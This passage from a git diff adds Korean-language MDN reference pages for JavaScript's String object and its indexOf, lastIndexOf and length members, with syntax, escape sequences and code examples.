+ <li>{{jsxref("String.prototype.startsWith()")}}</li>
+ <li>{{jsxref("String.prototype.endsWith()")}}</li>
+</ul>
diff --git a/files/ko/web/javascript/reference/global_objects/string/index.html b/files/ko/web/javascript/reference/global_objects/string/index.html
new file mode 100644
index 0000000000..68e9b021e5
--- /dev/null
+++ b/files/ko/web/javascript/reference/global_objects/string/index.html
@@ -0,0 +1,298 @@
+---
+title: String
+slug: Web/JavaScript/Reference/Global_Objects/String
+tags:
+ - ECMAScript 2015
+ - JavaScript
+ - Reference
+ - String
+translation_of: Web/JavaScript/Reference/Global_Objects/String
+---
+<div>{{JSRef}}</div>
+
+<p><strong><code>String</code></strong> 전역 객체는 문자열(문자의 나열)의 생성자입니다.</p>
+
+<h2 id="Syntax" name="Syntax">구문</h2>
+
+<p>문자열 리터럴은 다음과 같은 형식을 사용합니다.</p>
+
+<pre class="syntaxbox">'string text'
+"string text"
+"中文 español Deutsch English देवनागरी العربية português বাংলা русский 日本語 norsk bokmål ਪੰਜਾਬੀ 한국어 தமிழ் עברית"</pre>
+
+<p>문자열은 <code>String</code> 전역 객체를 직접 사용하여 생성할 수 있습니다.</p>
+
+<pre class="syntaxbox">String(<em>thing</em>)</pre>
+
+<h3 id="매개변수">매개변수</h3>
+
+<dl>
+ <dt><code>thing</code></dt>
+ <dd>문자열로 변환할 아무 값.</dd>
+ <dt>
+ <h3 id="템플릿_리터럴">템플릿 리터럴</h3>
+ </dt>
+</dl>
+
+<p>ECMAScript 2015 이후, 문자열 리터럴은 소위 <a href="/ko/docs/Web/JavaScript/Reference/Template_literals">템플릿 리터럴</a>이 될 수 있습니다.</p>
+
+<pre class="language-html"><code class="language-html">`hello world` `hello! world!` `hello ${who}` tag `<span class="tag token"><span class="tag token"><span class="punctuation token">&lt;</span>a</span><span class="punctuation token">&gt;</span></span>${who}<span class="tag token"><span class="tag token"><span class="punctuation token">&lt;/</span>a</span><span class="punctuation token">&gt;</span></span>`</code></pre>
+
+<h3 id="이스케이프_표현">이스케이프 표현</h3>
+
+<p>일반적인 출력 문자 외의 특수 문자는 이스케이프 표현을 사용해 적을 수 있습니다.</p>
+
+<table class="standard-table">
+ <thead>
+ <tr>
+ <th scope="col">코드</th>
+ <th scope="col">출력</th>
+ </tr>
+ </thead>
+ <tbody>
+ <tr>
+ <td><code>\XXX</code></td>
+ <td>8진수 Latin-1 문자</td>
+ </tr>
+ <tr>
+ <td><code>\'</code></td>
+ <td>작은따옴표</td>
+ </tr>
+ <tr>
+ <td><code>\"</code></td>
+ <td>큰따옴표</td>
+ </tr>
+ <tr>
+ <td><code>\\</code></td>
+ <td>역슬래시</td>
+ </tr>
+ <tr>
+ <td><code>\n</code></td>
+ <td>개행</td>
+ </tr>
+ <tr>
+ <td><code>\r</code></td>
+ <td>캐리지 리턴</td>
+ </tr>
+ <tr>
+ <td><code>\v</code></td>
+ <td>세로 탭</td>
+ </tr>
+ <tr>
+ <td><code>\t</code></td>
+ <td>탭</td>
+ </tr>
+ <tr>
+ <td><code>\b</code></td>
+ <td>백 스페이스</td>
+ </tr>
+ <tr>
+ <td><code>\f</code></td>
+ <td>폼 피드</td>
+ </tr>
+ <tr>
+ <td><code>\uXXXX</code></td>
+ <td>유니코드 코드포인트</td>
+ </tr>
+ <tr>
+ <td><code>\u{X}</code> ... <code>\u{XXXXXX}</code></td>
+ <td>유니코드 코드포인트 {{experimental_inline}}</td>
+ </tr>
+ <tr>
+ <td><code>\xXX</code></td>
+ <td>Latin-1 문자</td>
+ </tr>
+ </tbody>
+</table>
+
+<div class="note">
+<p>일부 다른 프로그래밍 언어와 달리, JavaScript는 작은따옴표와 큰따옴표 문자열을 구분하지 않습니다. 따라서 위의 이스케이프 문자는 작은따옴표나 큰따옴표에서 상관 없이 작동합니다.</p>
+</div>
+
+<h3 id="긴_문자열_리터럴">긴 문자열 리터럴</h3>
+
+<p>작성한 코드가 매우 긴 문자열을 포함해야 하는 경우, 끝 없이 뻗어나가는 한 줄이나 편집기의 재량에 따라 자동으로 줄을 넘기는 대신 직접 여러 줄로 나누되 내용에는 영향을 주지 않고 싶을 때가 있을겁니다. 이런 상황에는 두 가지 방법을 사용할 수 있습니다.</p>
+
+<p>우선 다음과 같이 <a href="/ko/docs/Web/JavaScript/Reference/Operators/Arithmetic_Operators#%EB%8D%94%ED%95%98%EA%B8%B0_()">+</a> 연산자를 사용할 수 있습니다.</p>
+
+<pre class="brush: js"><code>let longString = "여러 줄에 걸쳐 작성해야 할 정도로 " +
+ "긴 문자열인데 왜 한 줄에 다 적으면 안되냐면 " +
+ "코드를 읽기 힘들어지니까요.";</code></pre>
+
+<p>아니면 역슬래시 문자("\")를 각 줄의 맨 끝에 붙여 문자열이 이어진다는걸 표시할 수도 있습니다. 역슬래시 다음에 공백을 포함한 어떤 문자라도 붙으면 제대로 작동하지 않으므로 주의해야 합니다.</p>
+
+<pre class="brush: js"><code>let longString = "여러 줄에 걸쳐 작성해야 할 정도로 \
+긴 문자열인데 왜 한 줄에 다 적으면 안되냐면 \
+코드를 읽기 힘들어지니까요.";</code></pre>
+
+<p>두 예시 모두 동일한 문자열을 생성합니다.</p>
+
+<h2 id="Description" name="Description">설명</h2>
+
+<p>문자열은 텍스트 형태로 표현될 수있는 데이터를 보관하는 데 유용합니다. 문자열에서 가장 많이 사용되는 작업들은 문자열의 길이를 확인하는 ({{jsxref("String.length", "length")}}), 문자열을 생성하고 연결하는 <a href="/ko/docs/Web/JavaScript/Reference/Operators/String_Operators" title="JavaScript/Reference/Operators/String_Operators">+ 와 += 문자열 연산자</a>, 서브문자열(substring)이 있는지 확인하고, 있으면 위치를 확인하는 {{jsxref("String.prototype.indexOf()", "indexOf()")}} 메서드, 서브문자열(substring)을 추출해내는 {{jsxref("String.prototype.substring()", "substring()")}} 메서드가 있습니다.</p>
+
+<h3 id="문자_접근">문자 접근</h3>
+
+<p>문자열에서 개개의 문자에 접근할 수 있는 방법은 두가지가 있습니다. 첫번째는 {{jsxref("String.prototype.charAt()", "charAt()")}} 메서드를 이용하는 것입니다:</p>
+
+<pre class="brush: js">return 'cat'.charAt(1); // returns "a"
+</pre>
+
+<p>다른 방법(ECMAScript 5에서 소개하고 있는)은 문자열을 배열과 같은 오브젝트로 취급하여, 문자에 해당하는 숫자 인덱스를 사용하는 방법입니다 :</p>
+
+<pre class="brush: js">return 'cat'[1]; // returns "a"
+</pre>
+
+<p>브라켓([ ]) 표기법을 사용하여 문자에 접근하는 경우 , 이러한 프로퍼티들에 새로운 값을 할당하거나 삭제할 수는 없습니다. 포함되어 있는 프로퍼티들은 작성할 수도, 수정할 수도 없습니다. (더 자세한 정보는 {{jsxref("Object.defineProperty()")}}를 참고 바랍니다 .)</p>
+
+<h3 id="Comparing_strings" name="Comparing_strings">문자열 비교</h3>
+
+<p>C 개발자는 문자열 비교를 위하여 <code><span style="font-family: courier new,andale mono,monospace;">strcmp()</span></code> 함수를 사용합니다. JavaScript에서는 단지 <a href="/ko/docs/Web/JavaScript/Reference/Operators/Comparison_Operators" style="line-height: inherit;" title="JavaScript/Reference/Operators/Comparison_Operators">less-than와 greater-than 연산자</a>만을 사용하여 문자열을 비교할 수 있습니다<span style="line-height: inherit;"> </span><span style="line-height: inherit;">:</span></p>
+
+<pre class="brush: js">var a = "a";
+var b = "b";
+if (a &lt; b) { // true
+ console.log(a + " is less than " + b);
+} else if (a &gt; b) {
+ console.log(a + " is greater than " + b);
+} else {
+ console.log(a + " and " + b + " are equal.");
+}
+</pre>
+
+<p>비슷한 결과를 얻을 수 있는 방법으로 <span style="font-family: courier new,andale mono,monospace;">String</span> 인스턴스에서 상속된 {{jsxref("String.prototype.localeCompare()", "localeCompare()")}} 메서드를 사용할 수 있습니다.</p>
+
+<h3 id="문자열_원형과_String_객체의_차이">문자열 원형과 <code>String</code> 객체의 차이</h3>
+
+<div>JavaScript는 <code>String</code> 오브젝트와 원형의 문자열을 다르게 취급한다는 것에 주의해야 합니다. ({{jsxref("Boolean")}}과 <a href="/ko/docs/Web/JavaScript/Reference/Global_Objects" title="JavaScript/Reference/Global_Objects/">숫자</a>의 true도 마찬가지입니다.)</div>
+
+<div> </div>
+
+<p>문자열 리터럴(작은 따옴표 또는 큰 따옴표로 생성되는)과 생성자 없이(즉. {{jsxref("Operators/new", "new")}} 키워드를 사용하지 않고) <code>String</code>을 호출하여 반환된 문자열은 원형 문자열(primitive strings)입니다. JavaScript는 자동적으로 원형을 <code>String</code> 오브젝트로 변환하기 때문에, <code>String</code> 오브젝트 메서드를 사용하여 원형문자열을 생성할 수 있습니다. 문맥 안의 메서드에서 프로퍼티 조회 또는 원형의 문자열 호출이 발생하면, JavaScript는 자동으로 문자열 원형을 감싸고 프로퍼티 조회를 수행 하거나 메서드를 호출합니다.</p>
+
+<pre class="brush: js">var s_prim = "foo";
+var s_obj = new String(s_prim);
+
+console.log(typeof s_prim); // Logs "string"
+console.log(typeof s_obj); // Logs "object"
+</pre>
+
+<p>문자열 원형과 <code>String</code> 오브젝트는 {{jsxref("Global_Objects/eval", "eval()")}}을 사용할 때 다른 결과를 제공합니다. <code>eval</code>에 전달되는 문자열 원형들은 소스 코드 취급을 받습니다; <code>String</code> 오브젝트들은 다른 모든 오브젝트들과 마찬가지로 취급하며, 오브젝트를 반환합니다. 예를 들면:</p>
+
+<pre class="brush: js">var s1 = '2 + 2'; // creates a string primitive
+var s2 = new String('2 + 2'); // creates a String object
+console.log(eval(s1)); // returns the number 4
+console.log(eval(s2)); // returns the string "2 + 2"
+</pre>
+
+<p>이러한 이유로, 비록 코드 상에서 원형 문자열을 사용하는 대신에 <code>String</code> 오브젝트를 사용하게 되면 코드가 손상될 수 있지만, 일반적인 개발자는 차이를 걱정할 필요는 없습니다.</p>
+
+<p><code>String</code><span style="line-height: inherit;"> 오프젝트는 언제든지 </span>{{jsxref("String.prototype.valueOf()", "valueOf()")}} <span style="line-height: inherit;"> 메서드로 원형에 대응하도록 전환할 수 있습니다.</span></p>
+
+<pre class="brush: js">console.log(eval(s2.valueOf())); // returns the number 4
+</pre>
+
+<h2 id="Properties" name="Properties">속성</h2>
+
+<dl>
+ <dt>{{jsxref("String.prototype")}}</dt>
+ <dd>String 오브젝트는 프로퍼티의 추가가 가능합니다.</dd>
+</dl>
+
+<h2 id="Methods" name="Methods">메서드</h2>
+
+<dl>
+ <dt>{{jsxref("String.fromCharCode()")}}</dt>
+ <dd>지정된 유니코 값의 순서를 이용하여 만든 문자열을 반환합니다.</dd>
+ <dt>{{jsxref("String.fromCodePoint()")}} {{experimental_inline}}</dt>
+ <dd>지정된 코드 포인트 순서를 이용하여 만든 문자열을 반환합니다.</dd>
+ <dt>{{jsxref("String.raw()")}} {{experimental_inline}}</dt>
+ <dd>원형 템플릿 문자열(raw template string)에서 생성된 문자열을 반환합니다.</dd>
+</dl>
+
+<h2 id="String_generic_메서드"><code>String</code> generic 메서드</h2>
+
+<div class="warning">
+<p><strong><code>String</code> generic들은 비표준으로, 가까운 미래에 사라질 것입니다.</strong> 아래에서 제공하고 있는 방식을 사용하지 않으면, 브라우저들간의 호환성은 기대하기 어렵습니다. </p>
+</div>
+
+<p><code>String</code><span style="line-height: inherit;"> 인스턴스 메서드는 JavScript 1.6으로 Firefox에서(ECMAScript 표준에 속하지는 않지만) 어떤 오브젝트라도 String 메서드에 적용하여 String 오브젝트에서 사용가능합니다:</span></p>
+
+<pre class="brush: js">var num = 15;
+console.log(String.replace(num, /5/, '2'));
+</pre>
+
+<p class="brush: js">{{jsxref("Global_Objects/Array", "Generics", "#Array_generic_methods", 1)}}은<span style="line-height: inherit;"> </span>{{jsxref("Global_Objects/Array", "Array")}}<span style="line-height: inherit;"> 메서드에도 사용 가능합니다.</span></p>
+
+<h2 id="String_instances" name="String_instances"><code>String</code> 인스턴스</h2>
+
+<h3 id="속성">속성</h3>
+
+<p>{{ page('ko/docs/JavaScript/Reference/Global_Objects/String/prototype', 'Properties') }}</p>
+
+<h3 id="메서드">메서드</h3>
+
+<h4 id="HTML과_관계없는_메서드">HTML과 관계없는 메서드</h4>
+
+<p>{{page('/en-US/docs/Web/JavaScript/Reference/Global_Objects/String/prototype', 'Methods_unrelated_to_HTML')}}</p>
+
+<h4 id="HTML_wrapper_methods">HTML wrapper methods</h4>
+
+<p>{{page('/en-US/docs/Web/JavaScript/Reference/Global_Objects/String/prototype', 'HTML_wrapper_methods')}}</p>
+
+<h2 id="예제">예제</h2>
+
+<h3 id="문자열_변환">문자열 변환</h3>
+
+<p>비록 일반적으로 toString() 함수를 많이 사용하고 있지만, {{jsxref("String.prototype.toString()", "toString()")}}의 "안전한" 대안으로 String을 사용할 수 있습니다. String은 {{jsxref("Global_Objects/null", "null")}}과 {{jsxref("Global_Objects/undefined", "undefined")}}에 대해서도 잘 동작합니다. 예를 들면: </p>
+
+<pre class="brush: js">var outputStrings = [];
+for (var i = 0, n = inputValues.length; i &lt; n; ++i) {
+ outputStrings.push(String(inputValues[i]));
+}
+</pre>
+
+<h2 id="Browser_Compatibility" name="Browser_Compatibility">명세</h2>
+
+<table class="standard-table">
+ <tbody>
+ <tr>
+ <th scope="col">Specification</th>
+ <th scope="col">Status</th>
+ <th scope="col">Comment</th>
+ </tr>
+ <tr>
+ <td>{{SpecName('ES1')}}</td>
+ <td>{{Spec2('ES1')}}</td>
+ <td>Initial definition.</td>
+ </tr>
+ <tr>
+ <td>{{SpecName('ES5.1', '#sec-15.5', 'String')}}</td>
+ <td>{{Spec2('ES5.1')}}</td>
+ <td> </td>
+ </tr>
+ <tr>
+ <td>{{SpecName('ES6', '#sec-string-objects', 'String')}}</td>
+ <td>{{Spec2('ES6')}}</td>
+ <td> </td>
+ </tr>
+ <tr>
+ <td>{{SpecName('ESDraft', '#sec-string-objects', 'String')}}</td>
+ <td>{{Spec2('ESDraft')}}</td>
+ <td> </td>
+ </tr>
+ </tbody>
+</table>
+
+<h2 id="Browser_Compatibility" name="Browser_Compatibility">브라우저 호환성</h2>
+
+
+
+<p>{{Compat("javascript.builtins.String",2)}}</p>
+
+<h2 id="같이_보기">같이 보기</h2>
+
+<ul>
+ <li>{{domxref("DOMString")}}</li>
+ <li><a href="https://developer.mozilla.org/en-US/docs/Web/API/DOMString/Binary">Binary strings</a></li>
+</ul>
diff --git a/files/ko/web/javascript/reference/global_objects/string/indexof/index.html b/files/ko/web/javascript/reference/global_objects/string/indexof/index.html
new file mode 100644
index 0000000000..3e12f74d51
--- /dev/null
+++ b/files/ko/web/javascript/reference/global_objects/string/indexof/index.html
@@ -0,0 +1,159 @@
+---
+title: String.prototype.indexOf()
+slug: Web/JavaScript/Reference/Global_Objects/String/indexOf
+tags:
+ - JavaScript
+ - Method
+ - Prototype
+ - Reference
+ - String
+translation_of: Web/JavaScript/Reference/Global_Objects/String/indexOf
+---
+<div>{{JSRef}}</div>
+
+<p><strong><code>indexOf()</code></strong> 메서드는 호출한 {{jsxref("String")}} 객체에서 주어진 값과 일치하는 첫 번째 인덱스를 반환합니다. 일치하는 값이 없으면 -1을 반환합니다. </p>
+
+<div>{{EmbedInteractiveExample("pages/js/string-indexof.html")}}</div>
+
+
+
+<div class="note">
+<p><strong>참고:</strong> {{jsxref("Array")}}에서는 {{jsxref("Array.prototype.indexOf()")}} 메서드가 같은 역할을 합니다.</p>
+</div>
+
+<h2 id="구문">구문</h2>
+
+<pre class="syntaxbox"><var>str</var>.indexOf(<var>searchValue</var>[, <var>fromIndex</var>])</pre>
+
+<h3 id="매개변수">매개변수</h3>
+
+<dl>
+ <dt><code>searchValue</code></dt>
+ <dd>찾으려는 문자열. 아무 값도 주어지지 않으면 <a href="https://tc39.github.io/ecma262/#sec-tostring">문자열 <code>"undefined"</code>를 찾으려는 문자열로 사용</a>합니다.</dd>
+ <dt><code>fromIndex</code> {{optional_inline}}</dt>
+ <dd>문자열에서 찾기 시작하는 위치를 나타내는 인덱스 값입니다. 어떤 정수값이라도 가능합니다. 기본값은 0이며, 문자열 전체를 대상으로 찾게 됩니다. 만약 <code>fromIndex </code>값이 음의 정수이면 전체 문자열을 찾게 됩니다. 만약 <code>fromIndex &gt;= str.length </code>이면, 검색하지 않고 바로 -1을 반환합니다. <code>searchValue</code>가 공백 문자열이 아니라면, <code>str.length</code>를 반환합니다.</dd>
+</dl>
+
+<h3 id="반환_값">반환 값</h3>
+
+<p><code>searchValue</code>의 첫 번째 등장 인덱스. 찾을 수 없으면 -1.</p>
+
+<h2 id="설명">설명</h2>
+
+<p>문자열 내에 있는 문자들은 왼쪽에서 오른쪽 방향으로 순번이 매겨집니다. 제일 처음 문자는 0번째 순번(index)이며, <code>stringName </code>문자열의 마지막 문자의 순번 <code>stringName.length -1</code> 입니다. </p>
+
+<pre class="brush: js">'Blue Whale'.indexOf('Blue'); // returns 0
+'Blue Whale'.indexOf('Blute'); // returns -1
+'Blue Whale'.indexOf('Whale', 0); // returns 5
+'Blue Whale'.indexOf('Whale', 5); // returns 5
+'Blue Whale'.indexOf('Whale', 7); // returns -1
+'Blue Whale'.indexOf(''); // returns 0
+'Blue Whale'.indexOf('', 9); // returns 9
+'Blue Whale'.indexOf('', 10); // returns 10
+'Blue Whale'.indexOf('', 11); // returns 10</pre>
+
+<p><code>indexOf()</code> 메서드는 대소문자를 구분합니다. 예를 들면, 아래 예제는 일치하는 문자열이 없으므로 <code>-1</code>을 반환합니다.</p>
+
+<pre class="brush: js">'Blue Whale'.indexOf('blue'); // returns -1
+</pre>
+
+<h3 id="존재_여부_확인">존재 여부 확인</h3>
+
+<p>'0'을 평가했을 때 <code>true</code>가 아니고, -1을 평가했을 때 <code>false</code>가 아닌 것에 주의해야 합니다. 따라서, 임의의 문자열에 특정 문자열이 있는지를 확인하는 올바른 방법은 다음과 같습니다.</p>
+
+<pre class="brush: js">'Blue Whale'.indexOf('Blue') !== -1; // true
+'Blue Whale'.indexOf('Bloe') !== -1; // false
+</pre>
+
+<h2 id="예제">예제</h2>
+
+<h3 id="indexOf()_사용하기"><code>indexOf()</code> 사용하기</h3>
+
+<p>아래 예제는 <code>"Brave new world"</code> 문자열의 위치를 확인하기 위해 <code>indexOf()</code>와 {{jsxref("String.prototype.lastIndexOf()", "lastIndexOf()")}} 를 사용하고 있습니다.</p>
+
+<pre class="brush: js">var anyString = 'Brave new world';
+
+console.log('The index of the first w from the beginning is ' + anyString.indexOf('w'));
+// 첫번째 w 문자 위치는 8
+console.log('The index of the first w from the end is ' + anyString.lastIndexOf('w'));
+// 마지막 w 문자 위치는 10
+
+console.log('The index of "new" from the beginning is ' + anyString.indexOf('new'));
+// 첫번째 new 문자열 위치는 6
+console.log('The index of "new" from the end is ' + anyString.lastIndexOf('new'));
+// 마지막 new 문자열 위치는 6
+</pre>
+
+<h3 id="indexOf()와_대소문자_구분"><code>indexOf()</code>와 대소문자 구분</h3>
+
+<p>아래 예제에서는 2개의 문자열 변수를 정의하고 있습니다. 이 변수들 내에 있는 문자열들은 모두 같지만 두 번째 변수에 포함되어 있는 문자열은 대문자를 포함하고 있습니다. 첫 번째 {{domxref("console.log()")}} 메서드의 결과값은 19입니다. 하지만, 두 번째 <code>console.log()</code> 메서드의 결과값은 <code>-1</code>입니다. 왜냐하면, indexOf() 메서드는 대소문자를 구분하기 때문에 <code>myCapString</code>에서 "<code>cheddar</code>" 문자열을 찾을 수 없기 때문입니다. </p>
+
+<pre class="brush: js">var myString = 'brie, pepper jack, cheddar';
+var myCapString = 'Brie, Pepper Jack, Cheddar';
+
+console.log('myString.indexOf("cheddar") is ' + myString.indexOf('cheddar'));
+// 로그에 19를 출력합니다.
+console.log('myCapString.indexOf("cheddar") is ' + myCapString.indexOf('cheddar'));
+// 로그에 -1을 출력합니다.
+</pre>
+
+<h3 id="indexOf()를_사용하여_문자열_내의_특정_문자_숫자_세기"><code>indexOf()</code>를 사용하여 문자열 내의 특정 문자 숫자 세기</h3>
+
+<p>아래 예제는 <code>str </code>문자열에서 <code>e </code>문자의 총 숫자를 확인하는 프로그램입니다:</p>
+
+<pre class="brush: js">var str = 'To be, or not to be, that is the question.';
+var count = 0;
+var pos = str.indexOf('e'); //pos는 4의 값을 가집니다.
+
+while (pos !== -1) {
+ count++;
+ pos = str.indexOf('e', pos + 1); // 첫 번째 e 이후의 인덱스부터 e를 찾습니다.
+}
+
+console.log(count); // 로그에 4를 출력합니다.
+</pre>
+
+<h2 id="명세">명세</h2>
+
+<table class="standard-table">
+ <tbody>
+ <tr>
+ <th scope="col">Specification</th>
+ <th scope="col">Status</th>
+ <th scope="col">Comment</th>
+ </tr>
+ <tr>
+ <td>{{SpecName('ES1')}}</td>
+ <td>{{Spec2('ES1')}}</td>
+ <td>Initial definition.</td>
+ </tr>
+ <tr>
+ <td>{{SpecName('ES5.1', '#sec-15.5.4.7', 'String.prototype.indexOf')}}</td>
+ <td>{{Spec2('ES5.1')}}</td>
+ <td> </td>
+ </tr>
+ <tr>
+ <td>{{SpecName('ES6', '#sec-string.prototype.indexof', 'String.prototype.indexOf')}}</td>
+ <td>{{Spec2('ES6')}}</td>
+ <td> </td>
+ </tr>
+ <tr>
+ <td>{{SpecName('ESDraft', '#sec-string.prototype.indexof', 'String.prototype.indexOf')}}</td>
+ <td>{{Spec2('ESDraft')}}</td>
+ <td> </td>
+ </tr>
+ </tbody>
+</table>
+
+<h2 id="브라우저_호환성">브라우저 호환성</h2>
+
+<div>{{Compat("javascript.builtins.String.indexOf")}}</div>
+
+<h2 id="같이_보기">같이 보기</h2>
+
+<ul>
+ <li>{{jsxref("String.prototype.charAt()")}}</li>
+ <li>{{jsxref("String.prototype.lastIndexOf()")}}</li>
+ <li>{{jsxref("String.prototype.split()")}}</li>
+ <li>{{jsxref("Array.prototype.indexOf()")}}</li>
+</ul>
diff --git a/files/ko/web/javascript/reference/global_objects/string/lastindexof/index.html b/files/ko/web/javascript/reference/global_objects/string/lastindexof/index.html
new file mode 100644
index 0000000000..d2244feee5
--- /dev/null
+++ b/files/ko/web/javascript/reference/global_objects/string/lastindexof/index.html
@@ -0,0 +1,105 @@
+---
+title: String.prototype.lastIndexOf()
+slug: Web/JavaScript/Reference/Global_Objects/String/lastIndexOf
+tags:
+ - JavaScript
+ - Method
+ - Prototype
+ - Reference
+ - String
+translation_of: Web/JavaScript/Reference/Global_Objects/String/lastIndexOf
+---
+<div>{{JSRef}}</div>
+
+<p><strong><code>lastIndexOf()</code></strong> 메서드는 주어진 값과 일치하는 부분을 <code>fromIndex</code>로부터 역순으로 탐색하여, 최초로 마주치는 인덱스를 반환합니다. 일치하는 부분을 찾을 수 없으면 <code>-1</code>을 반환합니다.</p>
+
+<div>{{EmbedInteractiveExample("pages/js/string-lastindexof.html", "shorter")}}</div>
+
+
+
+<h2 id="구문">구문</h2>
+
+<pre class="syntaxbox notranslate"><var>str</var>.lastIndexOf(<var>searchValue</var>[, <var>fromIndex</var>])</pre>
+
+<h3 id="매개변수">매개변수</h3>
+
+<dl>
+ <dt><code>searchValue</code></dt>
+ <dd>탐색할 문자열. 빈 값을 제공할 경우 <code>fromIndex</code>를 반환합니다.</dd>
+ <dt><code>fromIndex</code> {{optional_inline}}</dt>
+ <dd>탐색의 시작점으로 사용할 인덱스. 기본값은 <code>+Infinity</code>입니다. <code>fromIndex &gt;= str.length</code>인 경우 모든 문자열을 탐색합니다. <code>fromIndex &lt; 0</code>인 경우엔 <code>0</code>을 지정한 것과 동일합니다.</dd>
+</dl>
+
+<h3 id="반환_값">반환 값</h3>
+
+<p>문자열 내에서 searchValue가 마지막으로 등장하는 인덱스. 등장하지 않으면 <code>-1</code>.</p>
+
+<h2 id="설명">설명</h2>
+
+<p>문자열의 문자는 왼쪽에서 오른쪽으로 인덱스를 매깁니다. 첫 번째 문자의 인덱스는 <code>0</code>이며, 마지막 문자의 인덱스는 <code>str.length -1</code>입니다.</p>
+
+<pre class="brush: js notranslate">'canal'.lastIndexOf('a'); //  3 반환
+'canal'.lastIndexOf('a', 2); //  1 반환
+'canal'.lastIndexOf('a', 0); // -1 반환
+'canal'.lastIndexOf('x'); // -1 반환
+'canal'.lastIndexOf('c', -5); //  0 반환
+'canal'.lastIndexOf('c', 0); //  0 반환
+'canal'.lastIndexOf(''); //  5 반환
+'canal'.lastIndexOf('', 2); //  2 반환
+</pre>
+
+<div class="blockIndicator note">
+<p><strong>참고:</strong> <code>'abab'.lastIndexOf('ab', 2)</code>는 0이 아니고 2를 반환합니다. <code>fromIndex</code>는 탐색의 시작점만 제한하기 때문입니다.</p>
+</div>
+
+<h3 id="대소문자_구분">대소문자 구분</h3>
+
+<p><code>lastIndexOf()</code> 메서드는 대소문자를 구분합니다. 예를 들어, 아래 예제는 <code>-1</code>을 반환합니다.</p>
+
+<pre class="brush: js notranslate">'Blue Whale, Killer Whale'.lastIndexOf('blue'); // -1 반환
+</pre>
+
+<h2 id="예제">예제</h2>
+
+<h3 id="indexOf와_lastIndexOf_사용하기"><code>indexOf()</code>와 <code>lastIndexOf()</code> 사용하기</h3>
+
+<p>아래 예제는 문자열 <code>"Brave new world"</code> 내에서 특정 값의 위치를 확인하기 위해 {{jsxref("String.prototype.indexOf()", "indexOf()")}}와 <code>lastIndexOf()</code>를 사용합니다.</p>
+
+<pre class="brush: js notranslate">let anyString = 'Brave new world';
+
+console.log('시작점으로부터 처음 만나는 w의 위치는 ' + anyString.indexOf('w'));
+// logs 8
+console.log('끝점으로부터 처음 만나는 w의 위치는 ' + anyString.lastIndexOf('w'));
+// logs 10
+console.log('시작점으로부터 처음 만나는 "new"의 위치는 ' + anyString.indexOf('new'));
+// logs 6
+console.log('끝점으로부터 처음 만나는 "new"의 위치는 ' + anyString.lastIndexOf('new'));
+// logs 6
+</pre>
+
+<h2 id="명세">명세</h2>
+
+<table class="standard-table">
+ <tbody>
+ <tr>
+ <th scope="col">Specification</th>
+ </tr>
+ <tr>
+ <td>{{SpecName('ESDraft', '#sec-string.prototype.lastindexof', 'String.prototype.lastIndexOf')}}</td>
+ </tr>
+ </tbody>
+</table>
+
+<h2 id="브라우저_호환성">브라우저 호환성</h2>
+
+<div>{{Compat("javascript.builtins.String.lastIndexOf")}}</div>
+
+<h2 id="같이_보기">같이 보기</h2>
+
+<ul>
+ <li>{{jsxref("String.prototype.charAt()")}}</li>
+ <li>{{jsxref("String.prototype.indexOf()")}}</li>
+ <li>{{jsxref("String.prototype.split()")}}</li>
+ <li>{{jsxref("Array.prototype.indexOf()")}}</li>
+ <li>{{jsxref("Array.prototype.lastIndexOf()")}}</li>
+</ul>
diff --git a/files/ko/web/javascript/reference/global_objects/string/length/index.html b/files/ko/web/javascript/reference/global_objects/string/length/index.html
new file mode 100644
index 0000000000..697957aaf9
--- /dev/null
+++ b/files/ko/web/javascript/reference/global_objects/string/length/index.html
@@ -0,0 +1,84 @@
+---
+title: String.length
+slug: Web/JavaScript/Reference/Global_Objects/String/length
+tags:
+ - JavaScript
+ - Property
+ - Prototype
+ - Reference
+ - String
+translation_of: Web/JavaScript/Reference/Global_Objects/String/length
+---
+<div>{{JSRef}}</div>
+
+<p><strong><code>length</code></strong> 속성은 UTF-16 코드 유닛을 기준으로 문자열의 길이를 나타냅니다.</p>
+
+<div>{{EmbedInteractiveExample("pages/js/string-length.html")}}</div>
+
+
+
+<h2 id="설명">설명</h2>
+
+<p><code>length</code> 속성은 문자열 안의 코드 유닛 수를 반환합니다. JavaScript가 사용하는 문자열 형식인 {{interwiki("wikipedia", "UTF-16")}}은 대부분의 일반적인 문자를 표현하기 위해 하나의 16비트 코드 유닛을 사용합니다. 반면, 덜 쓰이는 문자를 표현하기 위해 2개의 코드 유닛을 사용해야 할 때도 있으므로 문자열 내에 있는 문자들의 실제 총 숫자가 <code>length</code> 속성이 반환하는 숫자와 일치하지 않을 수 있습니다.</p>
+
+<p>ECMAScript 2016 7판은 최대 길이를 <code>2^53 - 1</code>로 설정했습니다. 이전엔 명시된 최대 길이가 없었습니다.</p>
+
+<p>빈 문자열은 <code>length</code>가 0입니다.</p>
+
+<p>정적 속성 <code>String.length</code>는 1을 반환합니다. </p>
+
+<h2 id="예제">예제</h2>
+
+<h3 id="일반적인_사용법">일반적인 사용법</h3>
+
+<pre class="brush: js">var x = 'Mozilla';
+var empty = '';
+
+console.log('Mozilla는 코드 유닛 ' + x.length + '개의 길이입니다.');
+/* "Mozilla는 코드 유닛 7개의 길이입니다." */
+
+console.log('빈 문자열은 ' + empty.length + '의 길이를 가집니다.');
+/* "빈 문자열은 0의 길이를 가집니다." */
+</pre>
+
+<h2 id="명세">명세</h2>
+
+<table class="standard-table">
+ <tbody>
+ <tr>
+ <th scope="col">Specification</th>
+ <th scope="col">Status</th>
+ <th scope="col">Comment</th>
+ </tr>
+ <tr>
+ <td>{{SpecName('ES1')}}</td>
+ <td>{{Spec2('ES1')}}</td>
+ <td>Initial definition. Implemented in JavaScript 1.0.</td>
+ </tr>
+ <tr>
+ <td>{{SpecName('ES5.1', '#sec-15.5.5.1', 'String.prototype.length')}}</td>
+ <td>{{Spec2('ES5.1')}}</td>
+ <td> </td>
+ </tr>
+ <tr>
+ <td>{{SpecName('ES6', '#sec-properties-of-string-instances-length', 'String.prototype.length')}}</td>
+ <td>{{Spec2('ES6')}}</td>
+ <td> </td>
+ </tr>
+ <tr>
+ <td>{{SpecName('ESDraft', '#sec-properties-of-string-instances-length', 'String.prototype.length')}}</td>
+ <td>{{Spec2('ESDraft')}}</td>
+ <td> </td>
+ </tr>
+ </tbody>
+</table>
+
+<h2 id="브라우저_호환성">브라우저 호환성</h2>
+
+<div>{{Compat("javascript.builtins.String.length")}}</div>
+
+<h2 id="같이_보기">같이 보기</h2>
+
+<ul>
